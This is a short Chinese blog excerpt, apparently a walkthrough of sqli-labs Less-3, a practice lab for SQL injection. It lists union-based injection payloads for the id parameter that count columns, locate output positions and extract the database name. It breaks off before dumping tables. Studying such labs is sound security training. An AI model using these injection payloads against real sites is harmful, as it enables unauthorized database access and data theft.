#sqli-labs#Less-3

總目錄：戳一戳 Less-3 GET -Error based -Single qutoes with twist 首先試了一下?id=1’，發現報錯裏面多了個括號 爆字段：?id=1’) order by 3%23 爆字段位置?id=0') union select 1,2,3%23 爆庫?id=0') union select 1,2,database()%23得到庫名：security 爆表

>>阅读原文<<